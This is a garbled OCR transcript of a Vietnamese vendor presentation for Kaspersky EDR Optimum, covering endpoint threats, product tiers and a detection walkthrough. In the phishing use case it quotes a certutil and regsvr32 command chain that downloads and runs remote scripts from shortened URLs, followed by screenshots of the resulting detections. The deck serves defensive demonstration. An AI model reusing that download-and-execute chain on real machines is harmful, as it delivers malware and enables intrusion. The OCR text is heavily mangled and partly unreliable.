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Cyber Threat Map X

Global Threat Index Map, Cyber Security Report 2021



Polymorphic Virus X
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Dropper va Downloader X




CYBER WEAPONS Tap trung vao diéu tra chuyén INTEGATED

CYBERSECURITY
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Cdc van dé béo vé endpoint )0 ¢

Diém yéu pho bién va dé bj tan cong
nhat cta cac c¢& s& ha ting IT

Nhirng hanh ddéng tan céng nhé thudng bi
bé qua - Di¥ liéu quan trong dé diéu tra khi
sy cd xay ra

> 76%

Tap trung hon vao cac endpoint vi ap dung TLS
1.3 (khé giai ma lwu lwvong mang) ]
tat ca cac event da dwoc tao boi

cac endpoint

Source: The SANS 2018 Endpoint Protection and Response Survey



Lo lang cta khach hang

[ o
Khéng du chuyén mon
Diéu gi s& xay ra néu chung tdi khdng cé cac
chuyén gia bao mat tan tam va cé trinh d6?

02

Rang budc ngan sach
Diéu gi sé xay ra néu chung t6éi khong c6 du
ngan sach?

Tang do phurc tap
O 3 Qua nhiéu console/agent dé thao
tac
Phan (rng
Tw ddng héa dén cap dd nao? Kha nang 04

truy tim cac hanh vi tin céng twong tu?




Kaspersky dé xuat: Phwong phap tiép can dwa trén chuyén mon

Cac phwong phap bao mat

Thiéu nhan sy cé chuyén mon - . .
bao mat Dang phat trien chuyén mon

Q
@ --‘\i Kaspersky %
( i Sandbox %;
Kaspersky

da dworc thiét 1ap

?

Kaspersky _ X Anti Targeted

Endpoint Security Kaspersky Attack Platform

for Business EDR O t.

ptimum Kaspersky
EDR Expert
* Van phong IT. * B30 mat théng tin trong pham vi van phong »  BO phan IT c6 day du nhan vién
* Chutrc nang bao mét chi trong pham vi phong IT. e SOC/CERT/CSIRT
IT. « BO phanIT nhd * Nhoém truy tim cac moi de doa.

* Khong cé chuyén gia bao mat cho tirng chi «  Khong cé k& hoach thué thém nhan vién IT ¢6

nhanh van phong cong ty. chuyén moén cao.



Kaspersky EDR Optimum

Trwe quan héa cac cudc tin cong trong KSC

. . . Web (tai ch6 / cloud)
Truy vét co so ha tang loC

ché d¢ thoi gian thye/theo lich * Théng tin vé cac hanh dong detection(EDR)/KES
DLL duorc goi

Céac slra doi trong Registry

Cac tién trinh duoc tao ra.

Céc dé6i twong duoc tao ra (file drops)

Céac thiét lap lién lac qua mang

EDR

Optimum

Hanh ddng phan héi

Céch ly khéi hé théng mang
Loai bé / cach ly cac doi twong
Két thic cac quy trinh

Ngan chan cac file thuc thi

M& rong
Kha nang phan tich hanh vi
ciia Kaspersky Sandbox

Xuat/ Nhap loC



Trwo'ng hop sir dung Kaspersky EDR Optimum

%COMSPEC% /c start "" certutil -urlcache
-split -f
https://bit.ly/32q2 Y mp%/nc.bat
& certutil -urlcache -split -f
https://bit.ly/2HRvNjd e
%Temp%/hidden.vbs &
regsvr32.exe /s /u

/i:https://bit.ly/399 oD .dIl

A

Nguwoi dung nhan duoc e-mail lira dao va
chay tép * .Ink dinh kem
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Trwo'ng hop sir dung Kaspersky EDR Optimum

Péi twong doc hai duoc phat hién
b&i thanh phan Phat hién hanh vi

C:\Users\x\AppData\Local\Temp\nc.b
at

PDM:Trojan.Win32.Generic.nblk

O

Vo System Audit

(¥] Behavior Detection

f Exploit Prevention

wr

|

Host Intrusion Prevention

... File Threat Protection
&) Web Threat Protection
. Mail Threat Protection
4 Firewall
E Network Threat Protection
@ AMsI Protection Provider

@ Application Control

B Device Control

W} Web Control

(@ Adaptive Anomaly Control

&} Update

{2 Scan Tasks

e Integrity check

Behavior Detection

Save report...
Show period: | Day v €) Today, 4/19/2020

Show importance @) 4 A Pl

Event date Name Application A
| A 4/19/2020 7:40:22 AM Malicious object detected Unknown
\ A 4/19/2020 7:40:22 AM Process terminated Unknown
} 0 4/19/2020 7:40:22 AM A backup copy of the obje... Unknown
[ &) 4/19/2020 7:40:22 AM  Object deleted Unknown
& 4/19/2020 7:40:26 AM Object deleted Unknown
\ & 4/19/2020 7:40:26 AM Malicious object detected  Unknown
| A 4/19/2020 7:40:26 AM The object cannot be dele... Unknown

! 4/19/2020 7:45:07 AM Malicious object detected  Unknown

| &) 4/19/2020 7:45:07 AM
| @ 4/19/2020 7:45:07 AM
| & 4/19/2020 7:45:08 AM
& 4/19/2020 7:45:12 AM
| &) 4/19/2020 7:45:12 AM
| &) 4/19/2020 7:45:13 AM

<

Application:  Unknown

Result:
Object:
Reason:
Database release date:
Hash:

Process terminated

A backup copy of the obje..,
Object deleted

Object deleted

Malicious object detected
The object cannot be dele...

User: DESKTOP\x (Active user)

Component: Behavior Detection

Detected: PDM:Tro]an.WinBZ.Generic.nblk
C\Users\x\AppData\Local\Temp\nc.bat
Behavior analysis

4/12/2020 12:28:00 PM

Unknown
Unknown
Unknown
Unknown
Unknown
Unknown

A 4/19/2020 7:45:07 AM : Malicious object detected

27¢13dccff790d5¢6019¢ad7467007101d62e5ff811beb6785cf55bb2d5058¢cd




Trwo'ng hop sir dung Kaspersky EDR Optimum

Quy trinh d3 duoc chdm dut
C:\Windows\System32\cmd.exe

PDM:Trojan.Win32.Generic.nblk

6 I

@ B M

System Audit

Exploit Prevention

Host Intrusion Prevention

File Threat Protection
Web Threat Protection
Mail Threat Protection
Firewall

Network Threat Protection

AMSI Protection Provider

ON-3 K-

Application Control
Device Control
Web Control

Adaptive Anomaly Control

5]

L

Update

Scan Tasks

e Integrity check

Behavior Detection

Show period: | Day

Save report...

€ ) Today, 4/19/2020

Show importance @) 4\ A Pl

Event date Name Application A
& 4/19/2020 7:40:22 AM Malicious object detected  Unknown
A 2/19/2020 7:40:22 AM Process terminated Unknown
04,"19/2020 7:40:22 AM A backup copy of the obje... Unknown
45 4/19/2020 7:40:22 AM Object deleted Unknown
& 471972020 7:40:26 AM Object deleted Unknown
& 4/19/2020 7:40:26 AM Malicious object detected Unknown
A 4/19/2020 7:40:26 AM The object cannot be dele... Unknown
} & 411972020 7:45:07 AM Malicious object detected Unknown
! 4/19/2020 7:45:07 AM Process terminated Unknown
0 4/19/2020 7:45:07 AM A backup copy of the obje... Unknown
| & 471972020 7:45:08 AM Object deleted Unknown
! & 4/19/2020 7:45:12 AM Object deleted Unknown
\ & 4/19/2020 7:45:12 AM Malicious object detected Unknown

‘ A 4/19/2020 7:45:13 AM The object cannot be dele... Unknown P

< >

Application:  Unknown

User: DESKTOP\x (Active user)

Component: Behavior Detection

Result: Terminated: PDM:Trojan.Win32.Generic.nblk
Object:  C\Windows\System32\cmd.exe

Hash: 27¢13dccdf790d5¢6019cad7467007101d62e9ff811be66785cf55bb2d5058¢cd

A 4/19/2020 7:45:07 AM : Process terminated




Trwo'ng hop sir dung Kaspersky EDR Optimum

Xda doi twong (trong Registry)

HKU\S-21-2340907207-2926435276-
2185104821-
1001\Software\Microsoft\Windows\Curr
entVersion\RunOnce\XSample

PDM:Trojan.Win32.Generic.nblk

| System Audit

(¥ Behavior Detection

4 Exploit Prevention

4

Host Intrusion Prevention

eat Protect

... File Threat Protection

6

Web Threat Protection
Mail Threat Protection
Firewall

Network Threat Protection

AMSI Protection Provider

@ B i

Application Control

Device Control

Web Control

@S5 8.

Adaptive Anomaly Control

¥ Update

{2, Scan Tasks

e Integrity check

Behavior Detection

Show period: | Day

Save report...

€ ) Today, 4/19/2020

2]

‘ Show importance 0 & A
|

Event date

& 47192020 7:40:22 AM
| & 4/19/2020 7:40:22 AM
| @ 411972020 7:40:22 AM
| &) 4/19/2020 7:40:22 AM
| & 4/19/2020 7:40:26 AM
| & 4/19/2020 7:40:26 AM
| & 4/19/2020 7:40:26 AM
| & 4/19/2020 7:45:07 AM
| 411972020 7:45:07 AM
| @ 4/19/2020 7:45:07 AM

A 4119/2020 7:45:08 AM

& 4/19/2020 7:45:12 AM

| &) 4/19/2020 7:45:12 AM
& 47192020 7:45:13 AM
\ <
\ i

Application: Unknown

Name
Malicious object detected
Process terminated
A backup copy of the obje...
Object deleted
Object deleted
Malicious object detected
The object cannot be dele...
Malicious object detected
Process terminated
A backup copy of the obje...
Object deleted
Object deleted
Malicious object detected
The object cannot be dele...

4/19/2020 7:45:08 AM : Object deleted

User: DESKTOP\x (Active user)
Component: Behavior Detection

Application A
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
Unknown

Object: HKU\S-1-5-21-2340907207-2926435276-2185104821-1001\Software\Microsoft\Windows

‘ Result: Deleted: PDM:Trojan.Win32.Generic.nblk

\CurrentVersion\RunOnce\XSample
Hash: 27¢13dccff790d5¢6019cad7467007101d62e5ff811beb6785cf55bb2d5058¢cd




Trwo'ng hop sir dung Kaspersky EDR Optimum

Ve System Audit

[¥] Behavior Detection

Behavior Detection

Show period: | Day

Save report...

€ ) Today, 4/19/2020

Exploit Py ti
4 Eoloit Prevention Show importance @ A\ A 2]
w . i
| Host Intrusion Prevention
) ) Event date Name Application I~
AP SRS SRR 3 & 4/19/2020 7:40:22 AM  Malicious object detected  Unknown
&2 File Threat Protection | ) 4/19/2020 7:40:22 AM  Process terminated Unknown
&) Web Threat Protection | 04,"19/2020 7:40:22 AM A backup copy of the obje... Unknown
/19/. :40:2 / j
4 Mail Threat Protection ; A 4/19/2020 7:40:22 AM Object deleted Unknown
= | [A 4/19/2020 7:40:26 AM Object deleted Unknown
; « Firewall | &) 4/19/2020 7:40:26 AM  Malicious object detected  Unknown
V4 Ne |
Xoa doi tu'O'ng B} Network Threat Protection | ) 4/19/20207:40:26 AM  The object cannot be dele... Unknown
) @ AMSI Protection Provider | &) 4/19/2020 7:45:07 AM Malicious object detected Unknown
Sy ; & 4/19/2020 7:45:07 AM Process terminated Unknown
= ) n i 0 4/19/2020 7:45:07 AM A backup copy of the obje... Unknown
. a /
C:\Users\x\AppData\Local\Temp\nc.bat B Application Control B ieein siai e

B Device Control

A 4/19/20207:4512AM  Object deleted Unknown

Q Web Control Ad,."19/2020 7:45:12 AM Malicious object detected Unknown
PDM :TrOJan.W|n32.Gener|c.ank @) Adoitios Aisimial Goritii | 4).4/19/2020 7:45:13AM  The object cannot be dele... Unknown .
T < >
)j Update ' )
¥ 1, 4/19/2020 7:45:12 AM : Object deleted
2L Scan Tasks |
0 Integrity check Application: Unknown

User: DESKTOP\x (Active user)

Component: Behavior Detection

Result: Deleted: PDM:Trojan.Win32.Generic.nblk

Object: C\Users\x\AppData\Local\Temp\nc.bat

Hash: 27c¢13dccff790d5¢6019¢ad7467007101d62e9ff811be66785¢f55bb2d5058¢d




Trwo'ng hop sir dung Kaspersky EDR Optimum M

Trong khi dd.. Tép * .json dang dwoc tao b&i Kaspersky
Endpoint Agent - chira siéu dir liéu dwoc
chia sé v&i KSC

| 60aca125-bf2d-0153-8f5f-c86748fbef3d.json - Notepad - O X

File Edit Format View Help
.ation”:"1","source”:"278", "target™:"287"}, "directed":true,"label“:"dropped","relation":“1",“source“:"278",“target":"288" , {"directed"”: true,"label”: "dropped

489661013,3489661001,3489661001, 3489660999, 5 3 R 3 o 89661013 3489661001 3489661001, 348
-2e9ff811be66785cf55bb2d5058cd", size" 278528,"Start tlme :"2020-04-19T714:45:07Z" ,"timestamp":"2020-04-19714:45:137", trusted :true, "type" 2011055762, upld"'
136}, "type":"1"},{"id" = "278","1label”: "process”, "metadata":{"attributes”:284,"cmd" | "regsvr32.exe /s /u /i:https://bit.ly/3 scrobj.dll’], "executions coun

|ta":{"attributes“:429 967295,"created":"2020-04-19T14:45:07Z","mdS":"535cf1f8e8cf3382ab8f62613f967dd8",'name":"C:\\Users\\x\\AppData\\Loca1\\Temp\\cr.tmp“[
“"type":"2"},{"id":"284","label":"file", "metadata”:{"attributes"”:4294967295, "created”:"2020-04-19T14:45:07Z7", name : C:\\ProgramData\\Kaspersky Lab\\twd133E
ype":0},"type":"2"},{"id":"288","1label":"file", "metadata”: {"attributes”:4294967295, "created":"2020-04-19T14:45:06Z", "name": "C:\\Users\\x\\AppData\\Local\\Mi
-:45:072","trusted":false,"type":e},"type":”2"},{"id":"292","label":"file","metadata":{"attributes":4294967295,"created":“2020-04-19T14:45:07Z","name":"C:\\H

C:\ProgramData\Kaspersky Lab\Endpoint Agent\4.0\Data\killchain\detects



Kaspersky EDR Optimum - Thé théng tin sw c6

— s A He zawnwero | 192.168.1.76:8080/#/monitoring/reports w e

Report on threats

Details 151 of 151

Searcn

C:\Users\x\AppData\Local\Temp\nc.bat T R Deleted: PDMT] Vin32 Ge D DESKTOP\x (Active r) C 2 \AppData\local\T
C:\Users\x\AppData\Local\Temp\nc.bat Trojan Result: Deleted: PDMTrojan Win32 Generic. nblk User. DESKTOP\x (Active user) Object: C:\Users\x\AppData\Local\Temp\r
C:\Users\x\AppData\Local\Temp\nc.bat Trojan Result: Deleted: PDM:Trojan.Win32.Generic.nblk User: DESKTOP\x (Active user) Object: C:\Users\x\AppData\Local\Temp\n
C:\Users\x\AppData\Local\Temp\nc.bat Trojan Result Deleted: PDMTrojan Win32 Generic nblk User: DESKTOP\x (Active user) Object C:\Users\x\AppData\lLocal\Temp\n
C:\Users\x\AppData\Local\Temp\nc.bat Trojan Result Deleted: PDMTrojan Win32. Generic nblk User: DESKTOP\x (Active user) Object: C:\Users\x\AppData\Local\Temp)\
C:\Users\x\AppData\Local\Temp bat  Trojan Re eleted: F - 2 Gene ) er- DESKTOP\x (A e user) Obje - 00 emp\/]
C:\Users\x\AppData\Local\Temp\nc.bat Trojan N/A



Kaspersky EDR Optimum - Thé thong tin sw c6

< C A Hesawwweno | 192.168.1.76:8080/#/monitoring/reports

Process

Event date

Startup parameters
C\W is\system32\c

User name

5-1-5-21-2340907207-2926435276-2185104821-1001

Jata\Local\Temp\nc. bat




Kaspersky EDR Optimum - Thé thong tin sw c6
- C A Hezawuweno | 192.168.1.76:8080/#/monitoring/reports w e

Name

Description: PDM:Exploit Win32 Generic.nbtk DESKTOP 2020-04-
1071440272

Documents: Fileltem

IOC: Fileltem/MdSsum

Export loC data

Actions
Isolate host from the network
Push critical areas scanning
Remove and quarantine




EDR Optimum: M

Vi du - phat hién phén mém doc hai phirc tap v&i sw trg giup cua céng nghé phan tich hanh vi
KESB EDR Optimum

Thoéng tin bd sung bang cach sir dung cay hoat dong endpoint:
* Piachiip C2

* Di¥ liéu vé cac thanh phan file ddc hai dwoc lwu triv trén dia
* Registry mé&i / stra doi

Thong tin c6 san

Tén quy trinh
Két qua phat hién nhw

PDM:Trojan.Win32.Generic 4+ Tép thong tin chit ky (néu cd)
* Ngay va gio phat hién ]
- M3 hash cta ddi twong Cac tinh huéng trng phé: ’
+ Kich thuéc d6i twong * Ngan chan viéc thuec thi tép (dac biét khi SW bj tat / phan mém
+ K&t qua hoat déng thanh phin déc hai dang duoc chay trong qua trinh khéi déng hé diéu
khéi phuc hanh)

 Thém C2 dé chan trén twdng Itra / NGFW / proxy
» Xac thuec viéc registry (twong quan két qua khéi phuc va hay
chudi)



Thu tuc phan héi dwoc don gian hda M

Nhiéu hanh dong phan hoi

* Cach ly mdy chad
* Khdi chay quét AV ciia may chu
* Xba/cachlytép

% e Cham dut qué trinh
* Co duoc file

* Ngén chin viéc thuc thi tép Ty dong tao chi bdo méi de doa tuy chinh
* Thém tép vao Danh sach trang cta KES / G r( - i . ) ) e R
t6i Kaspersky dé phan tich M@ ) vdikha nang ap dung phan hoi ty dong
[ |

‘gilra cac endpoint'
* Nhap céc chi thj bén ngoai
(théng tin vé méi de doa do nha
Q cung cap / co quan quan ly)
e Quét co sd ha tang theo lich
trinh va thoi gian thuwc dua

trén cac chi thj va cé kha nang Khi phat hién hoat dong dang ngo,
phan hoi chi voi 'mot ci nhdp - (EF ) EDR Optimum c6 thé tim kiém céc
chudt si kién tuong tu trén cdc may khac

* OpenlOC
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VinaAspire®

CAM ON

Quy vi d3 1ang nghe ching toéi




